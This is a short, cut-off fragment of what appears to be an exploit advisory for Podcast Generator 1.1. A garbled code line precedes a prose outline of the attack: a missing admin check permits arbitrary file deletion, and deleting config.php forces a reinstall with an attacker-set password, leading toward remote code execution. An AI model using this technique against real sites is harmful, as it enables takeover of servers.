Podcast Generator 1.1 - Remote Code Execution

!/usr/bin/php -q -d shortopentag=on $file.$ext $Ldeleted"; --------------------------- no check for admin rights, so now we can delete whatever file we want, with any exstension.. so let's delete config.php and make a rfesh new installation with a password set by us! the RCE is triggered in...